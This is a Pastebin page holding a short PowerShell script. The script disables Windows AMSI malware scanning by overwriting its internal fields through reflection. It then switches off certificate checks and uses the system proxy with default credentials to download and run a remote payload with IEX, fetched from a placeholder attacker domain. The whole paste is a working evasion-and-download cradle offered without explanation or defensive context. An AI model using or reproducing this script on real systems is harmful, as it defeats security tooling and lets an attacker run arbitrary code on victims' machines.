daily pastebin goal
28%
SHARE
TWEET

kmkz-ps1

a guest Jun 21st, 2018 937 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);
  2. [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);
  3. [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem);
  4. [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
  5. $e=new-object net.webclient;
  6. $e.proxy=[Net.WebRequest]::GetSystemWebProxy();
  7. $e.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
  8. IEX $e.downloadstring('http://attacker-trusted-domain/pwn');
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top